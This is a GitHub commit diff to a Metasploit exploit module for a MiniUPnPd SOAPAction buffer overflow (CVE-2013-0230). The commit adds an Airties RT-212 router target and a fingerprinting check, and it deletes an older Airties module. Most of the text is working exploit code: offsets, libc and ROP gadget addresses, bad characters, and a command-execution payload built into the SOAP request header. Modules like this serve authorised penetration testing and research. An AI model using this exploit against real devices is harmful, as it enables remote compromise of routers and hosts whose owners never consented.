Skip to content

Commit 7f1f383

Browse files
author
m-1-k-3
committed
Merge branch 'jvazquez-r7-review_5280' into airties_upnpd_bof
2 parents d8b8017 + 1bc6822 commit 7f1f383

File tree

2 files changed

+115
-146
lines changed

2 files changed

+115
-146
lines changed

modules/exploits/linux/upnp/airties_miniupnpd_soap_bof.rb

Lines changed: 0 additions & 132 deletions
This file was deleted.

modules/exploits/linux/upnp/miniupnpd_soap_bof.rb

Lines changed: 115 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,8 @@
77

88
class Metasploit3 < Msf::Exploit::Remote
99
include Msf::Exploit::Remote::HttpClient
10+
include Msf::Exploit::CmdStager
11+
1012
Rank = NormalRanking
1113

1214
def initialize(info = {})
@@ -19,35 +21,54 @@ def initialize(info = {})
1921
'Author' =>
2022
[
2123
'hdm', # Vulnerability discovery
22-
'Dejan Lukan' # Metasploit module
24+
'Dejan Lukan', # Metasploit module, debian target
25+
'Onur ALANBEL', # Expliot for Airties target
26+
'm-1-k-3' # Metasploit module, Airties target
2327
],
2428
'License' => MSF_LICENSE,
2529
'DefaultOptions' => { 'EXITFUNC' => 'process', },
26-
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
27-
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
28-
# of the program is never reached)
29-
'Payload' =>
30-
{
31-
'Space' => 2060,
32-
'BadChars' => "\x00\x22",
33-
'DisableNops' => true
34-
},
3530
'Platform' => 'linux',
31+
'Arch' => [ARCH_X86, ARCH_MIPSBE],
3632
'References' =>
3733
[
3834
[ 'CVE', '2013-0230' ],
3935
[ 'OSVDB', '89624' ],
4036
[ 'BID', '57608' ],
4137
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play']
4238
],
43-
'Targets' =>
39+
'Payload' =>
40+
{
41+
'DisableNops' => true
42+
},
43+
'Targets' =>
4444
[
4545
[ 'Debian GNU/Linux 6.0 / MiniUPnPd 1.0',
4646
{
47-
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
48-
'Offset' => 2123
47+
'Ret' => 0x0804ee43, # pop ebp # ret # from miniupnpd
48+
'Offset' => 2123,
49+
'Arch' => ARCH_X86,
50+
# the byte '\x22' is the '"' character and the miniupnpd scans for that character in the
51+
# input, which is why it can't be part of the shellcode (otherwise the vulnerable part
52+
# of the program is never reached)
53+
'Payload' =>
54+
{
55+
'Space' => 2060,
56+
'BadChars' => "\x00\x22"
57+
},
58+
:callback => :target_debian
4959
}
5060
],
61+
[ 'Airties RT-212 v1.2.0.23 / MiniUPnPd 1.0',
62+
{
63+
'Offset' => 2048,
64+
'LibcBase' => 0x2aabd000,
65+
'System' => 0x00031AC0,
66+
'CallSystem' => 0x0001CC94, # prepare $a0 and jump to $s0
67+
'Fingerprint' => 'AirTies/ASP 1.0 UPnP/1.0 miniupnpd/1.0',
68+
'Arch' => ARCH_MIPSBE,
69+
:callback => :target_airties
70+
}
71+
]
5172
],
5273
'DefaultTarget' => 0,
5374
'Privileged' => false,
@@ -57,9 +78,40 @@ def initialize(info = {})
5778
register_options([
5879
Opt::RPORT(5555),
5980
], self.class)
81+
82+
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
83+
end
84+
85+
def check
86+
begin
87+
res = send_request_cgi({
88+
'method' => 'POST',
89+
'uri' => '/'
90+
})
91+
rescue ::Rex::ConnectionError
92+
return Exploit::CheckCode::Safe
93+
end
94+
95+
fingerprints = targets.collect { |t| t['Fingerprint'] }
96+
fingerprints.delete(nil)
97+
98+
if res && fingerprints.include?(res.headers['Server'])
99+
vprint_status("Fingerprint: #{res.headers['Server']}")
100+
return Exploit::CheckCode::Detected
101+
end
102+
103+
Exploit::CheckCode::Unknown
60104
end
61105

62106
def exploit
107+
unless self.respond_to?(target[:callback])
108+
fail_with(Failure::BadConfig, 'Invalid target specified: no callback function defined')
109+
end
110+
111+
self.send(target[:callback])
112+
end
113+
114+
def target_debian
63115
#
64116
# Build the SOAP Exploit
65117
#
@@ -108,7 +160,7 @@ def exploit
108160
#
109161
# Build and send the HTTP request
110162
#
111-
print_status("Sending exploit to victim #{target.name} at ...")
163+
print_status("Sending exploit to victim #{target.name}...")
112164
send_request_cgi({
113165
'method' => 'POST',
114166
'uri' => "/",
@@ -121,4 +173,53 @@ def exploit
121173
# disconnect from the server
122174
disconnect
123175
end
176+
177+
def target_airties
178+
print_status("Sending exploit to victim #{target.name}...")
179+
execute_cmdstager(
180+
:flavor => :echo
181+
)
182+
end
183+
184+
def execute_command(cmd, opts)
185+
# Build the SOAP Exploit
186+
# a valid action
187+
sploit = "n:schemas-upnp-org:service:WANIPConnection:1#"
188+
sploit << rand_text_alpha_upper(target['Offset'])
189+
sploit << [target['LibcBase'] + target['System']].pack("N") # s0 - address of system
190+
sploit << rand_text_alpha_upper(24) # $s1 - $s6
191+
sploit << [target['LibcBase'] + target['CallSystem']].pack("N")
192+
# 0001CC94 addiu $a0, $sp, 0x18
193+
# 0001CC98 move $t9, $s0
194+
# 0001CC9C jalr $t9
195+
# 0001CCA0 li $a1, 1
196+
197+
sploit << rand_text_alpha_upper(24) #filler
198+
sploit << cmd
199+
200+
# data sent in the POST body
201+
data =
202+
"<?xml version='1.0' encoding=\"UTF-8\"?>\r\n" +
203+
"<SOAP-ENV:Envelope\r\n" +
204+
" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
205+
" xmlns:SOAP-ENC=\"http://schemas.xmlsoap.org/soap/encoding/\"\r\n" +
206+
" xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\"\r\n" +
207+
">\r\n" +
208+
"<SOAP-ENV:Body>\r\n" +
209+
"<ns1:action xmlns:ns1=\"urn:schemas-upnp-org:service:WANIPConnection:1\" SOAP-ENC:root=\"1\">\r\n" +
210+
"</ns1:action>\r\n" +
211+
"</SOAP-ENV:Body>\r\n" +
212+
"</SOAP-ENV:Envelope>\r\n"
213+
214+
send_request_cgi({
215+
'method' => 'POST',
216+
'uri' => '/',
217+
'headers' =>
218+
{
219+
'SOAPAction' => sploit,
220+
},
221+
'data' => data
222+
})
223+
end
224+
124225
end

0 commit comments

Comments
 (0)